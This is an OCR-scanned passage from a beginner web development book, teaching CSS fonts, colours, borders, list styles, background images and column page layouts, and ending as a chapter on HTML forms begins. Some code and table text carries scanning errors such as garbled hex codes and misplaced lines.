Setting the font family

The term font family describes the typeface or look of the font used for the
text. The font family can be changed using CSS but there’s a huge limitation:
The fonts you use need to also be available on the visitor’s computer. In
practical terms, this means that you have to use certain “web friendly” fonts
that appear on most visitors’ computers. It also means that you can’t always
guarantee what font the visitor will see. If a visitor doesn’t have the font that
you specify, that visitor’s browser chooses a substitute.

The CSS property for the font is called font-family. When setting a font,
the best practice is to provide a list of fonts from which the browser can
choose, as in this example:

font-family: arial, helvetica, sans-serif;
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You can set the recommended fonts for the entire HTML page by using the
selector for the <body> element, as in this example:

body {
font-family: arial, helvetica, sans-serif;

}

Any page that uses that CSS rule will attempt to display its text first with the
Arial font. If that font isn’t available, the Helvetica font is used next. If that
font isn’t available, then a sans-serif font is used. If none of those are
available, then the browser chooses a font to use all on its own.

Common values for font-family are

arial, helvetica, sans-serif

"Arial Black", Gadget, sans-serif

Georgia, serif

"Times New Roman", Times, serif

A concept called Web Fonts enables the use of additional fonts by allowing
the browser to download the preferred fonts as part of the page. This
concept is discussed at www.html5rocks.com/en/tutorials/webfonts/
quick.

Listing 2-2 shows the CSS that you saw in an earlier example. This listing

adds the font-family CSS property to the body of the page, meaning that
this font-family setting will be applied across the entire page.

Listing 2-2: Setting the Font-Family Value with CSS

body {
font-family: arial,helvetica,sans-serif;

}

.boldText {
font-weight: bold;
}

span {
font-style: italic;
}

When viewed in a browser using the same HTML from the preceding
exercise, the result looks like Figure 2-6.
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Figure 2-6:
Changing
the font
family
with CSS.
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This is my web page.
This is the nicest page I've made yet
Here is some text on my page.

Setting font size

How large the text appears on a web page is its font size. You can set font
sizes using the font-size CSS property. Font sizes can be set in one of four
units:

4+ Percentage

4+ Pixels

4+ Points

4+ Em’s
Which of those you should use depends largely on whom you ask. If you
ask four web developers which one to use, you’ll probably get four different
answers. You can read the sidebar for more information, but this book uses
either percentage or em’s. If you're asking why, the short answer is that both

of those methods work well for mobile devices and other scenarios where
visitors may want to scale the text size according to their needs.

Em’s are a unit of sizing for fonts, much like points that you see in a word
processor.

Font sizes are set like any other CSS property; for example, this sets the font
size to 150% of its normal size:

font-size: 150%;
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When choosing a font sizing method, you can  appropriately, the browsers don’t allow the
use percentage, em'’s, points, and pixels. Points  visitor to resize the text without using a zoom
and pixels are fixed sizes and some browsers tool. Percentages and em'’s allow resizing.
can have trouble resizing them, or more

Choosing a font sizing method

NBER
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It’s quite common to set a font size for the entire page and then change font
sizes for individual elements in the page. For example, setting the font size
for the body element — in other words, the entire page — looks like this:

body {
font-size: 90%;

}

With that CSS setting, the fonts across all elements on the page would be set
to 90% of their default value. You could then change individual areas of the
page to have a different font size. Using em’s for the other fonts allows you
to change the font sizes relative to that initial setting of 90%. This allows for
greater control over the page’s font sizes.

Like other CSS settings, visitors can override your CSS with their own
settings. They may change the font sizes according to their needs.

Listing 2-3 shows a CSS file that depicts this functionality.

Listing 2-3: CSS to Change the Font Size

body {
font-size: 90%;

}

span {
font-size: 1.7em;

}

When combined with the HTML from the previous exercise, you get a page
like that in Figure 2-7. Note the increased font size for the word nicest, thanks
to the increased size set with an em.
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Figure 2-7:
Changing
font sizes
with CSS.

[E=3 EER(

e
()| @ nepysiarnic O~ B o X H B 5,055 Evercise |

This is my web page.

This is the N1CESt page I've made vet
Here is some text on my page.

When using em’s for font sizes, an em value of 1.0 corresponds to 100%.
Therefore, 0.9em would be about 90%, while 1.7em (as in the example) is
essentially 170%.

Fonts set with pixels or points use their abbreviations, as in these examples:

font-size: 12px;
font-size: 12pt;

Setting the font color

Just as font sizes can be set, so too can the colors used for fonts. Care
should be taken when choosing font colors so as to make the text readable.
For example, using white text on a white background makes it impossible for
the reader to see the text!

Just as there are multiple options for how to change the font size, there are
also multiple ways to change the font color. You can use a friendly name for
common colors, like red, blue, green, and so on, or you can use a hexadecimal
code, or hex code for short.

Hex codes are three- to six-character codes that correspond to the Red,
Green, and Blue (RGB) color mix appropriate to obtain the desired color.

Table 2-1 shows some common hex codes and their corresponding color.
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Table 2-1 Hex codes for colors
Code Color

#FF0000 Red

#00FF00 Green

#0000FF Blue

#666666 Dark Gray

#000000 Black

#FFFFFF White

#FFFFO00 Yellow

#FFA500 Orange

Hex codes are the more accurate and preferred way to set colors in
HTML but they’re hard to remember. A tool like Visibone’s Color Lab at
www.visibone.com/colorlab is essential to obtaining the hex code
corresponding to the color that you want to use.

Font color is set using the color CSS property, as in this example (which is
the code for red):

color: #FF000O0;

Listing 2-4 shows CSS to change colors of a <span> element to blue using a
hex code:

Listing 2-4: Coloring a Font Using CSS

span {
color: #0000FF;
}

When viewed in a browser with the HTML created earlier in this chapter, the
output looks like Figure 2-8. Note the blue coloring (which may be a bit difficult
to read in this black-and-white book) for the word “nicest” on the page.
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Figure 2-8:
Changing
the font
colorto
blue.

[E=3 EER(

‘q | & hitpfdibze O~ B S X H & A CSS Exercise |

This 1s my web page.
This 1s the nicest page I've made vet.
Here is some text on my page.

Adding Borders

Borders can help provide visual separation between elements on a page.
You can add borders around just about anything in HTML and there are a
few border styles to choose from. Borders are added with the border CSS
property.

When creating a border with CSS, you set three things:

4 Border thickness
4+ Border style

4+ Border color
These three items are set in a list, separated by a space, as in this example:
border: 1lpx solid black;

In this example, a border would be created and would be 1 pixel thick. The
border would be solid and would be black in color.

Some common border styles are shown in Table 2-2.
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Table 2-2 Border Styles in CSS
Style Description

Solid A solid line

Dotted A dotted line

Dashed Aline with a dash effect
Double Two solid lines

It’s time for an exercise to create a border around some elements. Follow
these steps.

1. Open your text editor.
2. Verify the HTML file from the preceding exercise.

The HTML from the preceding exercise is the starting point for this
exercise. If yours doesn’t look like this, change it to look like this HTML.
For those of you who had this file exactly as in the preceding exercise,
the only thing you need to do is add a class called addBorder in the
first <div> element.

<!doctype html>

<html>

<head>

<title>A CSS Exercise</title>

<link rel="stylesheet" type="text/css" href="style.
css">

</head>

<body>

<div class="boldText addBorder">This is my web page.</
div>

<div>
This is the <span>nicest</span> page I've made yet.
</div>

<div class="boldText">Here is some text on my page.</
div>

</body>
</html>
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Figure 2-9:
Adding a
border to a
div element.

3. Save the HTML file.

Save it as css-border.html and place it in your document root.
4. Open your CSS file.

You should have a CSS file from the preceding exercise. The CSS file
from that exercise should contain a class called boldText and a CSS
rule changing all <span> elements to italic. Within your CSS file, add and
change your CSS so that it looks like the following:

.boldText {
font-weight: bold;

}
span {

font-style: italic;
}

.addBorder {
border: 3px double black;
}

5. Save the CSS file.
Save the file as style.css in your document root.
6. View the page in a browser.

Open your web browser and point to http://localhost/css-
border.html to view the page. You should see a page like Figure 2-9.
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[This is my web page. |

This 1s the nicest page I've made vet.
Here is some text on my page.




Figure 2-10:
Adding
padding
within the
addBorder
class.
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You may have noticed in this exercise that you now have two classes on the
first <div> in the page. That’s a great feature of classes because you can use
more than one on an element to combine them.

You can experiment with the CSS from this exercise to add different styles of
borders to different elements in the page.

You may not like how close the text is to the border in Figure 2-9. We sure
don’t. You can change this with CSS. The CSS padding property changes how
close the text will come to the inside edge of the border. For example, you
could change the CSS for the addBorder class to look like this:

.addBorder {
border: 3px double black;
padding: 5px;

}

When you do so, the resulting page will look like that in Figure 2-10.
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” This is my web page. H

This 1s the micest page I've made vet
Here is some text on my page.

Padding can be added to move the text farther away from its borders.
Padding can be applied to any element, regardless of whether it has borders,
in order to move that element’s contents.
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3

When you add padding, the contents of the element move away from all
the edges. However, you can also add padding so that the contents move
away from the top, bottom, right, or left, or any combination therein. This
is accomplished with the padding-top, padding-bottom, padding-right, and
padding-left properties, respectively.

There’s a shortcut method for setting padding that sees all the padding
defined on one line. That shortcut isn’t used here, but you’ll see it in other
people’s CSS.

Where padding moves elements from the inside, there’s also a property
to move or shift elements around from the outside. This element is called
margin, and we discuss it later in the chapter when we talk about creating
page layouts.

Changing List Styles

Recall the example from Chapter 1 of this minibook that created a bulleted
list. That section indicated that you can change or even remove the bullets
from the list using CSS. Well, it’s true. You can. The bullet style for a list is
determined by the 1ist-style-type CSS property.

There are numerous values for the 1ist-style-type property. Table 2-3
shows some common ones.

Table 2-3 Common List Styles

Style Description

circle Provides a circle type bullet.

decimal The default style for <o1> lists, a simple number.
disc The default style for <ul> lists, a filled in circle style.
none Removes styling completely for the list.

square A square bullet.

upper-roman An uppercase Roman numeral, as in an outline.
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Changing bullet styles

The best way to see these styles in action is by trying them out. This exer-
cise uses Listing 1-7 from the preceding chapter, and we show you all that
code here in Step 3.

1.
2.

Open your text editor.
Change or create ul.html.

If you have a file called ul .html from the previous chapter, open it
now. If you don’t, you can create one now by creating a new empty text

document.
Book I
Inside the file, use the following HTML. If you're using ul .html, then ot

you merely need to add the <1ink> element to incorporate a CSS file.
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<!doctype html>
<html>
<head>
<title>An unordered list</title>
<link rel="stylesheet" type="text/css" href="ul.css">
</head>
<body>
<ul>
<li>Pine</1li>
<1li>Oak</1li>
<li>Elm</1li>
</ul>
</body>
</html>
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Save the file.

Save the file as ul . html in your document root.

Create a new file.

Create a new empty text document using your text editor.
Place the following CSS in the new document:

ul {
list-style-type: square;
}

Save the CSS file.

Save the file as ul.css in your document root.
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7. Open your web browser and view the page.

In your web browser, type http://localhost/ul.html into the address bar
and press Enter. You should see a page like the one in Figure 2-11.
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m Pine
m Oak
m Elm

You can experiment with the 1ist-style-type property to add or change

A common look for lists on web pages uses no bullets at all. This effect is
created by setting the value of the 1ist-style-type to none, as in this

When applied to the page you created in the preceding exercise, the result

Figure 2-11:

Changing

the list style.
bullet style.
Removing bullets
example, which can be used in the ul.css file you just created.
ul {

list-style-type: none;

}
looks like Figure 2-12.

\\3

You apply the 1ist-style-type property to the <ul> or <ol> and not to
the individual list items (the <1i> element).



Figure 2-12:
Removing
the bullets
from an
HTML list.
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The pages you've created so far have a white background, or more exactly,
they have the default background chosen by the browser. In old versions of
web browsers, that background color was gray. You can change the color of
the background using CSS, or use a background image.

Background colors and background images can be applied to the entire
page or to individual elements. Changing background colors on individual
elements helps to add highlight and color to certain areas of the page.

Changing the background color

The background color of an HTML element is changed with the background-
color CSS property. The background color uses the same syntax (hex code)
as font colors; refer to the discussion of font colors earlier in this chapter to

see hex codes for common colors.

Here’s an example that changes the background color of the entire page:
body {

background-color: #FFFFO0O0;
}
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Figure 2-13:
Adding

a yellow
background
colortoa

page.

Figure 2-13 shows the resulting page. Note that the yellow color won’t come
through very well in the book, but it’s there!

[E=8 EeH ==

‘q | 2 hupiyidbze O - B X H £ A 035 Exercise |

This is my web page.
This 1s the micest page I've made vet
Here is some text on my page.

As previously stated, individual elements can also be changed and you can
use all the different CSS selectors to focus that color change to a class, to
an individual element (using an id), or to all elements by using the element
name. For example, changing all the <div> elements to yellow looks like
this:

div {
background-color: #FFFFO0O0;
}

You can also use CSS to target elements by their hierarchy; in other words,
you can target the elements when they appear as children of other elements.
This calls for an example. Many of the examples in this book use HTML
similar to that shown in Listing 2-5, so we use Listing 2-5 to show you how to
target certain HTML elements.

Listing 2-5: HTML Used in Some Examples

<!doctype html>

<html>

<head>

<title>A CSS Exercise</title>

<link rel="stylesheet" type="text/css" href="style8.css">
</head>

<body>

<div class="boldText">This is my web page.</div>
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<div>
This is the <span>nicest</span> page I've made yet.
</div>

<div class="boldText">Here is some text on my page.</div>

</body>
</html>

Focus on the <span> element inside the second <div> in this HTML. You
could say that the <span> element is a child of the <div>. Using CSS, you
can target this span by its position as a child of the <div>. This is helpful
if you want to apply certain styling to all elements of a certain type but you Book II

don’t (or can’t) add a class to those elements. For example, if you wanted Chapter 2
to make all <span> elements that appear within a <div> to have a red
background, you could do so with this CSS:

div span {
background-color: #FF0000;
}
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Applying this CSS to the CSS previously seen, including that for Figure 2-13,
you get a result like Figure 2-14, which (trust us) shows the word nicest
highlighted in red.

oo s

N -
R [ neprrmramec © - B¢ X || @ acssbercise |

This is my web page.
This 1s the - page I've made yet.
Here is some text on my page.

Figure 2-14:
Targeting
an element
in order to
apply a CSS
rule.

This CSS targeting can be applied in any way that you’d like, whether that’s
targeting a certain ID, a certain class, or certain elements, like the example
does. You can create powerful (and sometimes confusing) combinations of
CSS hierarchies in order to apply CSS rules.
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You can use this CSS targeting to apply any CSS rule, not just background
colors.

Adding a background image

Background images are a good way to create a nice looking HTML page.
Using a background image, you can create a gradient effect, where one
part of the page is a solid color and the color fades out or gets lighter as it
stretches to the other side.

Background images appear behind other elements. This means that you
can overlay all your HTML, including other images, on top of a background
image.

You can find many free images through the Creative Commons. See http://
search.creativecommons . org for more information. Be sure to choose
an image that still allows for the text to be readable on the page; black text
on a dark picture is not a good match.

Background images are added with the background-image CSS property,
as described here and in the following sections.

background-image:url ("myImage. jpg") ;

Adding a single background image

One of the features of background images is that you can tile or repeat them
within a page. This means that no matter how large the visitor’s screen, the
background image will always appear. Conversely, you can also choose to
not repeat the background image. This section shows how to add a single,
non-repeating image.

In order to complete this exercise, you need an image. The image will
preferably be at least 800 pixels by 600 pixels. You can find out the image
resolution by right-clicking the image and selecting Properties in Windows
or choosing Get Info from the Finder window on a Mac.

1. Open your text editor.
Create a new empty text document in your text editor.
2. In the text editor, enter the following HTML:

<!doctype html>

<html>

<head>

<title>Background Image</title>

<link rel="stylesheet" type="text/css"


http://search.creativecommons.org/
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href="image-style.css">
</head>
<body>
</body>
</html>
3. Save the file.
Save the file as backimage .html in your document root.
4. Create a new text document.

Create a new empty text document with your text editor.

5. Place the following CSS in the new document. Book Il
Chapter 2

Be sure to use the name of your image. In this example, we'’re using an
image called 1arge-snow. jpg. The image should be saved within your =
document root. =
-
body { nca
background-image:url ("large-snow.jpg") ; a.z
background-repeat: no-repeat; g
} s.
=

6. Save the CSS file.

Save the file as image-style.css and make sure it’s saved within your
document root.

7. Open your web browser and view the page.

Open your web browser and navigate to the page at http://local
host/backimage.html. You'll see the page with a background image.
You can see a screenshot of our page, with the large-snow. jpg image,
in Figure 2-15.
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Figure 2-15:
A single
background
image.
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Figure 2-16:
Adding a
background
colorand a
background
image.

Depending on the size of your image and your screen, you may notice that
the image ends, as it does along the right side of Figure 2-15. Additionally,
you may notice that the image isn’t centered. Keep reading for a solution.

Improving the single background image page

A common approach used to create a better looking page is to add a
background color that matches the edges of the image. In the case of our
image, the top and bottom are black. Therefore, we could add a rule to the
CSS to make the default background color black. This won’t have any effect
where the image is located — the image takes precedence — but it will
matter along the bottom where the image ends.

The CSS for this look is as follows:

body {
background-image:url ("large-snow.jpg") ;
background-repeat: no-repeat;
background-color: #000000;

}

With that rule in place, the image will still end but the appearance won'’t be
quite as shocking or noticeable because it matches the color of the edge of
the image, as shown in Figure 2-16.
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While the background color trick solves the problem with the edge of the
image, it doesn’t solve the centering issue. The current background image

is applied to the body — in other words, the entire page. In order to center
the background image, another CSS property needs to be added, as shown in

this CSS:
body {
background-image:url ("large-snow.jpg") ;
background-repeat: no-repeat;
background-color: #000000;
background-position: center top;
}
Book I
This CSS adds the background-position rule and places it at the center Chapter 2
at the top of the page. Other values include left, right, and bottom, and
you can combine them so that the background image would appear at the >
bottom right, for example. E’
ntﬂ
The CSS shown here places the image at the center of the page and at the &3
top. This results in the page shown in Figure 2-17. g
-
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Figure 2-17:
A centered
background
image on
the top,
with a
background
color.

With that image in place, you can then add any HTML to the page that you
see fit. Note with an image like this (a dark top and light middle) you need to
adjust the font colors so that the text is visible on the page.
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Figure 2-18:
A repeating
background
image.

Adding a repeating image

You can add an image that repeats. This is a common scenario for web
pages because then the image doesn’t end along the sides, no matter how
large your resolution is. This also alleviates the need for a background posi-
tion because the background image applies to the entire element.

When applied to the entire page, as in the examples shown, you can also
forego the background-repeat rule and the background color because the
image continues throughout the entire page.

An ideal repeating image is one that doesn’t have noticeable borders
because those borders will show up when the image is tiled or repeated on
the page.

Figure 2-18 shows a small image (15 pixels x 15 pixels) used as a repeating
image with the following CSS:

body {
background-image:url ("back.jpg") ;
}

L )] @ repysasacy O« B0 X[ @ packgrowndimage X e

As in the example for a single image background, you can now add HTML
atop the background, again choosing a font color that offsets the image so
that visitors can easily read the text.
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Creating Page Layouts

3

You’ve now learned a good amount of CSS to change the behavior and
appearance of individual items, add background colors, style lists, and so
on. All of this leads to creating pages by using CSS. CSS is used to create
more complex appearances for web pages than you’ve seen so far. For
example, you can create column effects, where there’s a menu on the left or
right side and content in the other column, and we tell you how to do that
here.

When working with alignment and column layouts, it’s sometimes helpful to
add a border to the element to see where it begins and ends so that you can
see how the layout looks.

Creating a single-column layout

Everything you've seen so far has been a single-column layout. There’s only
one column, aligned on the left of the page. You can, however, control that
alignment with CSS. Doing so means creating more complex HTML than
you've seen so far but nothing in the HTML will be new; there’ll just be more
HTML than before.

1. Open a text editor.
Open your text editor and create a new empty document.
2. Within the empty document, enter the following HTML:

<!doctype html>
<html>
<head>
<title>Single Column</title>
<link rel="stylesheet" type="text/css" href="single.
css">
</head>
<body>
<div id="container">
<div id="content">
<h2>Here's some content</h2>
<p>This is where a story would go</p>
<h2>Here's more content</h2>
<p>This is another story</p>

</div> <!-- end content -->
</div> <!-- end container -->
</body>
</html>

3. Save the file.

Save the file as single.html in your document root.
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4. Open your browser and view the page.

View the page by going to http://localhost/single.html in your
browser. You'll see a page similar to that in Figure 2-19.

[E= EER(
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Here's some content

This is where a story would go

Here's more content

This 1s another story
Figure 2-19:
A basic

page before
adding CSS.

5. Create a new text document.
Create a new empty text document in your text editor.
6. In the document, place the following CSS:

body {
font-family: arial,helvetica,sans-serif;

}

#container {
margin: 0 auto;
width: 600px;
background: #FFFFFF;
}

#content {
clear: left;
padding: 20px;
}

7. Save the CSS file.

Save the file as single.css in your document root.
8. Open your web browser.

Navigate to http://localhost/single.html in your browser. If
your browser is still open, reload the page with Ctrl+R on Windows or
Command+R on Mac. You'll see a page like that in Figure 2-20. See the
paragraphs that follow for more information on what specific modifica-
tions you made in Step 6.



Figure 2-20:
Assingle-
column
layout.
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Here's some content

This is where a story would go

Here's more content

This is another story

Later in this chapter, you see how to add a header and footer onto this
layout in order to improve its look and functionality.

The HTML for this layout uses a <div> element as a container. The container
helps to create the layout and doesn’t hold any text content of its own. The
CSS for this exercise uses three CSS properties that might be new to you:
width, margin, and clear. Here’s how they work:

4+ width: Sets the horizontal width of an element. In this case, the container
is set to 600px (pixels) wide. No matter how small the browser window
is, your HTML will never get smaller than 600px.

4 margin: This is the complement to the padding property shown earlier
in this chapter, in the “Adding Borders” section. The margin property
defines the spacing on the outside of the element. In the case shown
here (margin: 0 auto;), the shortcut method is used. See the sidebar
for more information. The value “auto” means that the browser will
choose the value.

4 clear: Makes it so that no elements can appear on the side of the
element to which the rule applies. In the example, clear left was used
on the <div> with the id of #content. This means that nothing could
appear on the left side of that element. Other values for clear include
“both,” “none,” “right,” and “inherit.”

You can experiment with the margins of your browser window to see how
the layout created in the exercise reacts or moves along with the browser.

The layout created in this section is called a single-column fixed-width
layout. Another option is a single-column liquid layout. A liquid layout can
work better in certain devices. The fixed-width layout shown can sometimes
result in a horizontal scroll bar at the bottom of the page.

Book I
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To change the layout to a liquid layout, you only need to change a small
amount of CSS in the #container, as shown here:

body {
font-family:
}

#container {
margin: 0 30px;
background: #FFFFFF;
}

#content {
clear:
padding:

left;
20px;
}

arial,helvetica, sans-serif;

Note the only changes are to remove the width property within the
#container and also change the margin from “0 auto” to “0 30px.” With
that, the layout becomes a liquid layout and works better, especially in

mobile devices.

Shortcuts for margin and padding

Rather than defining a rule for each of the top,
bottom, right, and left elements of margin or
padding, you can use a shortcut method that
defines all of them on one line. For example:

margin: Opx 50px 200px 300px;
is equivalent to this:

margin-top: Opx;

margin-right: 50px;
margin-bottom: 200px;
margin-left: 300px;

When four numbers appear in the rule, the
order is top, right, bottom, and left. To help
remember the order, use the mnemonic
“TrouBLe,” which takes the first letter of each
of the Top, Right, Bottom, Left, and makes them

into a word to remind you how much trouble it
is remembering the order.

Instead of all four values, you sometimes see
one, two, or three of the values present for
margin or padding, as in the example shown
earlier:

margin: 0 auto;

When two values are used, the first value
corresponds to the top and bottom and the
second value corresponds to the right and left.
When three values are used, the first is the top,
the second is the left and right, and the last is
the bottom. Finally, when one value is used, it
applies equally to the top, right, bottom, and
left.
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Creating a two-column layout

A two-column layout uses a bit more HTML to achieve the effect of multiple
columns. This is frequently done to add a menu along the side of a page or
links to other stories or content.

Listing 2-6 shows the HTML involved for a two-column fixed-width layout.

Listing 2-6: A Two-Column Fixed-Width Layout

<!doctype html>
<html>
<head>
<title>Two Column</title>
<link rel="stylesheet" type="text/css" href="double.css">
</head>
<body>
<div id="container">
<div id="mainContainer">
<div id="content">
<h2>Here's some content</h2>
<p>This is where a story would go</p>
<h2>Here's more content</h2>
<p>This is another story</p>

</div> <!-- end content -->
<div id="sidebar">
<h3>Menu</h3>
<ul>

<li>Menu item 1</1i>
<li>Menu item 2</1i>
<li>Menu item 3</1i>

</ul>
</div> <!-- end sidebar -->
</div> <!-- end mainContainer -->
</div> <!-- end container -->
</body>
</html>

This HTML uses the container <div> from the single-column layout and
adds another container <div> to hold the content. That <div>, called
mainContainer, holds both the content and the sidebar. The other
addition is the sidebar itself, aptly titled sidebar. That sidebar holds a
menu with an unordered list (<ul>) in it.

The CSS for the two-column layout is shown in Listing 2-7.
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Listing 2-7: CSS for a Two-Column Fixed-Width Layout

#container {
margin: 0 auto;
width: 900px;

}

#mainContainer {
float: left;
width: 900px;

}

#content {
clear: left;
float: left;
width: 500px;
padding: 20px 0;
margin: 0 0 0 30px;
display: inline;

}

#sidebar {
float: right;
width: 260px;
padding: 20px 0;
margin: 0 20px 0 O;
display: inline;
background-color: #CCCCCC;
}

This CSS uses several of the items that you've seen already, including
margin, padding, clear, and background-color, among others. New to
this CSS are the float and the display properties.

The float property defines whether an element will move or float within a
layout, either to the left or to the right or whether it won'’t float at all (none),
as is the default. However, because you want to create two columns next

to each other, you need to float the content container to the left and the
sidebar to the right. Therefore, if you want the sidebar to appear on the
right, you simply need to swap float: left in the #content CSS with the
float: right found in the #sidebar’s CSS.

The display property sets how the element should be displayed. Certain
elements are known as block-level elements and display the entire width of
the page. The <div> element is a good example of this. Because you want to
make the columns appear next to each other, you need to change this block
display behavior to inline (we introduce inline elements in the preceding
chapter), so that the element doesn’t extend the full width of the page.
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Hiding elements

Setting the CSS display property to none (visibility: hidden;), the box or
hides an element from a page. When you do  area on the page still remains in place but the
so, the element is removed entirely from the elementbecomes invisible. Making the element
page. You can also use another CSS property, visible again (visibility: visible;)
visibility, to hide elements. When shows the element.

hiding an element with the visibility property

Figure 2-21:
A two-
column
fixed-width
layout.

Three frequently used values for the display property are block (to extend
the element the full width), inline (to make the element use only its own
width for display), and none (which removes the element from display
entirely).

When viewed in a browser, the layout shown in Listings 2-6 and 2-7 produces
a page like that in Figure 2-21.

‘q )| @ nttpyisfebaca/doublehtm] £ - 86X |[@ Two Column ‘ ‘ 0 o iy

Here's some content Menu

* Menuitem 1
* Menu item 2
* Menu item 3

This is where a story would go
Here's more content

This is another story

The layout shown in Figure 2-21 is a fixed-width layout. Converting this to a
liquid layout means changing the width and margin values in the CSS from
pixels (px) to percentages (%). The CSS to convert into a liquid layout is
shown in Listing 2-8.

Listing 2-8: Converting to a Two-Column Liquid Layout

#container {
margin: 0 auto;
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width: 100%;
}

#mainContainer {
float: left;
width: 100%;
}

#content {
clear: left;
float: left;
width: 65%;
padding: 20px 0;
margin: 0 0 0 5%;
display: inline;

}
#sidebar {
float: right;
width: 20%;
padding: 20px 0;
margin: 0 2% 0 0;
display: inline;
background-color: #CCCCCC;
}

The changes occur in the #container, #mainContainer, #content, and
#sidebar sections, to change the previous values that used pixels to
percentages. This layout now changes with the width of the browser, as
shown in Figure 2-22, where you’ll notice that the width of the browser is
much smaller.

P
€S )@ rtpytabaca/dbifioatt O + B 6 X [ @ Two Calumn
Here's some content Menu
r o + Menu item 1
This is where a story would go + Menu iterm 2
— I ——
. Here's more content
Figure 2-22:
Creating a This is another story
liquid layout
with two

columns.
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The layouts you've seen so far provide a good base from which you can
build a more complex web page and indeed website. However, the page is

missing two things: a header and a footer.

Headers are typically used to convey information such as the name of the
site or to provide a menu; footers are used to provide additional information
such as copyright and are also being used to provide a map of links within
a site, known as a site map. Additionally, we tell you how to create a menu

within the header.

Creating a header, header menu, and footer

You've seen how to create a multi-column layout with a main content area
and a sidebar. To create this layout, you add a <div> element to hold the
sidebar’s content. You then apply CSS rules to the <div> to set its width
and position. Creating a header and footer is accomplished in largely the
same manner. An additional <div> is created to hold the content for each

and then rules are applied to those <div> elements to position them.

This being the last example in the chapter, it serves as a capstone exercise.

1. Open your text editor.
Create a new blank text document.
2. Enter the following HTML in the text document:

<!doctype html>
<html>
<head>

<title>Two Column With Header and Footer</title>
href="final.

<link rel="stylesheet" type="text/css"
css">
</head>
<body>
<div id="container">
<div id="header">

<hl1>This is my site!</hl>

</div> <!-- end header -->
<div id="menu">
<ul>

<li><a href="#">Home</a></1li>
<li><A href="#">Services</a></1li>
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<li><a href="#">About Me</a></li>
<li><a href="#">Contact Me</a></li>
</ul>
</div> <!-- end menu -->
<div id="mainContainer">
<div id="content">
<h2>Here's some content</h2>
<p>This is where a story would go</p>
<h2>Here's more content</h2>
<p>This is another story</p>

</div> <!-- end content -->
<div id="sidebar">
<h3>Menu</h3>
<ul>

<li>Menu item 1</1i>
<li>Menu item 2</1i>
<li>Menu item 3</1i>
</ul>
</div> <!-- end sidebar -->
<div id="footer">
<p>Copyright (c) 2012 Steve Suehring</p>

</div> <!-- end footer -->
</div> <!-- end mainContainer -->
</div> <!-- end container -->
</body>
</html>

3. Save the file.
Save the file as final.html in your document root.
4. Create a new text document.

Create a new empty text document. This one should hold the
following CSS:

body {
font-family: arial,helvetica,sans-serif;

}

#container {
margin: 0 auto;
width: 100%;

}

#header {
background-color: #abacab;
padding: 10px;

}

#menu {

float: left;
width: 100%;
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background-color:

}

#menu ul 1i {
list-style-type:
display: inline;

}

#menu 1i a {
display: block;
text-decoration:
border-right:
padding:
float: left;
color: #FFFFFF;

}

#menu 1li a:hover {
background-color:

}

#mainContainer {
float: left;
width: 100%;
}

#content {
clear:
float:
width:
padding:
margin:
display:

left;
left;

65%;

20px 0;
0 0 0 5%;
inline;

}

#sidebar {
float:
width: 30%;
padding: 20px 0;
margin: 0;
display: inline;
background-color:

right;

#footer {
clear: left;
background-color:
text-align:
padding: 20px;
height: 1%;
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#0c0cOc;

none;

none;
2px solid #FFFFFF;
3px 10px;

#CCCCCC;

#CCCCCC;

#CCCCCC;

center;
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Figure 2-23:
A two-
column
liquid layout
with a
header and
footer.

5. Save the file.
Save the CSS file as final.css in your document root.
6. Open your browser and view the page.

Open your web browser, navigate to http://localhost/final.
html, and you’ll see the page, like the one shown in Figure 2-23.

| € | ‘ 2 http:ftt/fd/b2c2ffinal html P~BREX H 2 Two Colurmn With Header .., | ‘

This is my site!

Home | Services | About Me | Contact Me

Here's some content Menu

* Menu item 1
* Menu item 2
+ Menu item 3

This is where a story would go

Here's more content

This is another story

Copyright (c) 2012 Steve Suehring

Examining the HTML and CSS files

To create this layout, you use a more complex HTML file than you've used
before but there isn’t anything in that file that you haven’t already seen. It’s
just longer in order to create the additional HTML and content for the page!

The CSS does use some additional items, specifically to create the menu or
links across the top. Note that this is separate from the contextual menu that
appears on the right. The menu created for this page appears in the header
and provides links to the areas of the site, such as Home, Services, About
Me, and Contact Me.

The CSS for that section looks like this:
#menu ul 1i {

list-style-type: none;
display: inline;



Adding Headers and Footers to a Page 167

That section uses a hierarchical structure to target only the <1i> elements
within the #menu area. The 1ist-style-type was set to none, which you
saw earlier in the chapter. However, the display was set to inline. When
used with lists, it makes the lists flow horizontally rather than vertically, so
you get the desired effect here.

The next section of CSS changed the behavior of the <a> elements within
that menu and was again targeted using #menu 1i a so that the CSS rule
applied only to those specific <a> elements.

#menu 1li a {
display: block;
text-decoration: none; Book Il
border-right: 2px solid #FFFFFF; Chapter 2
padding: 3px 10px;
float: left;
color: #FFFFFF;

}

This CSS rule uses the standard float, display, and border properties
explained earlier in this chapter. Added here is a text-decoration CSS
property, which changes the default behavior of the <a> link. Rather than
being underlined and colored, changing the text-decoration to none
removes that effect, giving the menu a cleaner look.
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The final piece of the menu’s CSS is this:

#menu 1li a:hover {
background-color: #CCCCCC;
}

This CSS rule targets the hover behavior of the <a> element. When the
visitor hovers over the link, it will change color, in this case to #cccccc,
which is a shade of gray.
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Chapter 3: Creating and
Styling Web Forms

In This Chapter

1+ Using web forms to get information
v Creating a form

v+~ Using CSS to style a form

LVeb forms enable your site to gather information from users. This
chapter discusses web forms in all their glory and shows you how to

both create a form and how to style it with CSS.

Using Web Forms to Get Information

Figure 3-1:
A basic
web form.

With web forms, like the one shown in Figure 3-1, you can gather
information from users.
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+ LOGIN

CONTACTING STEVE

Please include the information so that Steve

WHAT'S YOUR NAME? WHAT'S YOUR E-MAIL?

can contact you

HOW CAN | HELP YOU?

send message
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Web forms can collect anything from name and e-mail address and a
message, like the one shown in Figure 3-1, to images and files from your
computer. For instance, when you log in to your web-based e-mail account
like Gmail, you're filling out a form with your username and your password.
Here’s a look at how you can use HTML to create web forms.

Understanding web forms

When you fill out a form, the information is sent to the web server. What
exactly the web server does with the information is up to the programs
running on the server. For example, when you fill out the contact form on
my website, the server e-mails the information e-mailed to me, but when you
fill out a form to find hotel rooms on a hotel’s website, the server looks in its
database for matching rooms based on the dates that you fill out. In Book VI,
you work with server-side programs to process web forms. For now, focus
on the forms themselves.

In HTML terms, forms are created with the <form> element. Forms open
with <form> and close with </ form>, as in this example:

<form action="#">

<input type="text" name="emailaddress">
<input type="submit" name="submit">
</form>

You see how to create your own form in the next section.

Looking at form elements

There are many ways to get input through a form, each with its own specific
name or type of input. The code example in the preceding section includes
two input types:a text type and a submit type. The text type creates
a box where the users can enter information. The submit type creates a
button that users use to send the information to the server.

There are many other types of input elements in a form, including these:

